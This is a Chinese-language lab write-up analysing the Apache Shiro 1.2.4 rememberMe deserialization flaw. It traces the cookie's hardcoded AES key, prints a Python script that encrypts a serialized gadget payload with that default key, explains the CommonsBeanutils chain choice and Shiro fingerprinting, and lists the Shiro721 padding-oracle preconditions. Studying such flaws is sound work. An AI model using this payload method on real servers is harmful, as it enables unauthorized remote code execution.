Shiro550

环境搭建

  • Tomcat 9.0.100
  • jdk8u65
  • Shiro 1.2.4
    用 idea 打开后需要将依赖修改为下图所示 1.2
    修改

以漏洞发现角度分析

解密过程

登录时抓包可以看到一大长串 Cookie,很明显是加密过的,所以要找 Cookie 的加密过程
全局搜索Cookie,发现有个跟 Cookie 相关的类CookieRememberManager
Cookie


base64 解码

在这个类中发现getRememberedSerializedIdentity()
CookieRememberManager.getRememberedSerializedIdentity()

继续往上找谁调了getRememberedSerializedIdentity(),找到AbstractRememberMeManager.getRememberedPrincipals()
AbstractRememberMeManager.getRememberedPrincipals()
这个方法把刚刚 base64 解码的值赋给了 bytes,然后又紧接着调用了convertBytesToPrincipals()
跟进看一下这个方法,很明显它进行了一个解密,一个反序列化
AbstractRememberMeManager.convertBytesToPrincipals()


AES 解密

先进入descrpt()看一下,看到密钥服务又调用了一个decrypt(),而这个decrypt()是一个接口,它传了两个参数,一个是加密的数组,一个是 key
AbstractRememberMeManager.descrpt()
继续跟进传入的 key
AbstractRememberMeManager.getDecryptionCipherKey()
AbstractRememberMeManager decryptionCipherKey
看看哪里调用了 decryptionCipherKey
AbstractRememberMeManager.setDecryptionCipherKey()
AbstractRememberMeManager.setCipherKey()
一直向上找,找到最后发现 key 是个常量
AbstractRememberMeManager.AbstractRememberMeManager()
DEFAULT_CIPHER_KEY_BYTES


反序列化

跟进deserialize()
AbstractRememberMeManager.deserialize()
继续跟进发现有两个实现
deserialize
找到入口类
DefaultSerializer.deserialize()

以上就是整个解密过程,下面来看看加密


加密过程

在 onSuccessfulLogin 下断点,判断是否选 Rememberme
AbstractRememberMeManager.onSuccessfulLogin()
跟进 rememberIdentity(),这里进行的是一个保存用户名的操作
AbstractRememberMeManager.rememberIdentity()
getIdentityToRemember()
跟进 rememberIdentity()
rememberIdentity()
跟进 rememberIdentity()
rememberIdentity()
这里与解密相似,只不过就是反过来了 序列化&加密
convertPrincipalsToBytes
这里就不跟进了,其实跟进的效果和上面解密是一样的,都是发现 key 是个常量
然后后面是 base64 编码

以上就是全过程了


漏洞利用

RCE的点都是在反序列化的时候触发的,所以重点攻击反序列化的部分
下面放一个加密的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import base64
import uuid
from Crypto.Cipher import AES


def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data


def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext

def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext

if __name__ == "__main__":
data = get_file_data("ser.bin")
print(aes_enc(data))

这里就不用 urldns 链进行验证了,直接通过 CB 链攻击

重点重点!!(调了半天)
一开始直接用 CBWithCC 会这样报错,是因为 shiro 中的 commons-beanutils 中只包含了一部分的 commons-collections,不全,导致使用 shiro 时是不需要依赖 commons-collections 的,所以要用 CBWithoutCC 那条链
tomcat服务端报错

Java 在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的serialVersionUID值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID不同,则反序列化就会异常退出,避免后续的未知隐患。
我们的 CBWithoutCC 那条链依赖本来是 CB1.8.3 & CB1.9.2,而shiro自带的是1.8.3版本,出现了 serialVersionUID 对应不上的问题。
tomcat服务端报错
所以 CBWithoutCC 的依赖就直接用 CB1.8.3 & CC3.2.1 即可
成功执行命令
成功


指纹识别

判断应用是否用到了 shiro:
在请求包的 Cookie 中为 rememberMe 字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,说明目标有使用 Shiro 框架,可以进一步测试。


Shiro721

与 shiro550 的区别:AES密钥修改成了动态生成,对于每一个 Cookie,都是使用不同的密钥进行加解密的。
攻击复杂程度变高

Apache Shiro Padding Oracle Attack 的漏洞利用必须满足如下前提条件:

  • 开启 rememberMe 功能;
  • rememberMe 值使用 AES-CBC 模式解密;
  • 能获取到正常 Cookie,即用户正常登录的 Cookie 值;
  • 密文可控;

利用的话可用这个工具


参考

搭环境看这篇
CB利用链及无依赖打Shiro
Java反序列化Shiro篇01-Shiro550流程分析